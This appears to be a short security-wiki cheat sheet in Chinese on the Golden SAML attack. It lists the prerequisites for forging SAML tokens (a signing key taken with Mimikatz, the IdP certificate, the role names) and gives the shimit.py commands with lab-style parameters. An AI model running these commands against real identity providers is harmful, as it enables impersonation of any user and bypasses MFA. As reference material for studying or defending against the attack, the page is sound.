> For the complete documentation index, see [llms.txt](https://www.heresecurity.wiki/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.heresecurity.wiki/yun-an-quan/aws/golden-saml-attack.md).

# Golden SAML Attack

```
使用提取的信息，该工具将生成一个伪造的 SAML 令牌作为任意用户，然后可用于在不知道该用户密码的情况下对 Office 365 进行身份验证。此攻击还绕过任何 MFA 要求
要求：

令牌签名私钥（使用 Mimikatz 从个人商店导出）
IdP 公共证书
IdP 名称
角色名称（要承担的角色）
>python -m pip install boto3 botocore defusedxml enum python_dateutil lxml signxml
>python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file
-u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012
```